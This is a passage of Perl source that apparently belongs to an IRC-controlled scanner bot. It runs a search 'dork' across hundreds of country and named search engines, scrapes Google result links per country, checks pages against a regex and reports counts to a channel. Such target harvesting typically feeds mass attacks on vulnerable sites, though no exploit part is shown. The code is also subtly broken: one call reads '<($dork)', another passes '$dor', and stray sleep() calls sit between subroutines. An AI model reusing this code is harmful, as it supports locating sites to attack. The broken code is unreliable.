"JE") { my @je = &je($dork); push(@total,@je); } if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); } if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); } if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); } if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); } if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); } if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); } if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); } if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); } if ($engine eq "LT") { my @lt = <($dork); push(@total,@lt); } if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); } if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); } if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); } if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); } if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); } if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); } if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); } if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); } if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); } if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); } if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); } if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); } if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); } if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); } if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); } if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); } if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); } if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); } if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); } if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); } if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); } if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); } if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); } if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); } if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); } if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); } if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); } if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); } if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); } if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); } if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); } if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); } if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); } if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); } if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); } if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); } if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); } if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); } if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); } if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); } if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); } if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); } if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); } if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); } if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); } if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); } if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); } if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); } if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); } if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "af") { my @af = &af($dork); push(@total,@af); } if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); } if ($engine eq "al") { my @al = &al($dork); push(@total,@al); } if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); } if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); } if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); } if ($engine eq "am") { my @am = &am($dork); push(@total,@am); } if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); } if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); } if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); } if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); } if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); } if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); } if ($engine eq "io") { my @io = &io($dork); push(@total,@io); } if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); } if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); } if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); } if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); } if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); } if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); } if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); } if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); } if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); } if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); } if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); } if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); } if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); } if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); } if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); } if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); } if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); } if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); } if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); } if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); } if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); } if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); } if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); } if ($engine eq "la") { my @la = &la($dork); push(@total,@la); } if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); } if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); } if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); } if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); } if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); } if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); } if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); } if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); } if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); } if ($engine eq "md") { my @md = &md($dork); push(@total,@md); } if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); } if ($engine eq "me") { my @me = &me($dork); push(@total,@me); } if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); } if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); } if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); } if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); } if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); } if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); } if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); } if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); } if ($engine eq "re") { my @re = &re($dork); push(@total,@re); } if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); } if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); } if ($engine eq "st") { my @st = &st($dork); push(@total,@st); } if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); } if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); } if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); } if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); } if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); } if ($engine eq "so") { my @so = &so($dork); push(@total,@so); } if ($engine eq "su") { my @su = &su($dork); push(@total,@su); } if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); } if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); } if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); } if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); } if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); } if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); } if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); } if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); } if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); } if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); } if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); } if ($engine eq "Pagatcom") { my @pagatcom = &pagatcom($dork); push(@total,@pagatcom); } if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "WaLLa") { my @walla = &walla($dork,$chan); push(@total,@walla); } if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); } if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); } if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); } if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); } if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); } if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); } if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); } if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); } if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); } if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); } if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); } if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); } if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); } if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); } if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); } if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); } if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); } if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); } if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); } if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); } if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); } if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); } if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); } if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); } if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); } @clean = &clean(@total); if ($silentmode == 0) { &msg("$chan","$logo 12$engine ".scalar(@total)." | ".scalar(@clean)." "); } return @clean; } ################################################################################## sub isFound() { my $status = 0; my $link = $_[0]; my $reqexp = $_[1]; my $res = &get_content($link); if ($res =~ /$reqexp/) { $status = 1 } return $status; } sub get_content() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout($timot); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } ######################################### SEARCH ENGINE sub googleCA() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCA/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleDE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleDE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleUK() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleUK/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleFR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleFR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleES() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleES/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleIT() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIT/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(1); sub googleNL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleNL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleBE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleBE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCH() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCH/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(1); sub googleSE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleSE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleDK() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleDK/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleNO() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleNO/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(1); sub googleNZ() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleNZ/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleIE() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIE/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleBR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(2); sub googleAR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleAR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCO() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCO/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCU() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCU/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(2); sub googleCL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleMX() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleMX/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleAU() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleAU/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(2); sub googleRU() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleRU/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleAT() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleAT/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googlePL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googlePL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleIL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleTR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleTR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleUA() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleUA/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleGR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleGR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleJP() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleJP/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCN() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.hk/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCN/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleMY() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleMY/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleTH() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleTH/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleIN() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIN/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleKR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleKR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleRO() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleRO/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleTW() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleTW/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleZA() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleZA/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googlePT() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googlePT/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub becak() { my @list; my $key = $_[0]; my @doms = 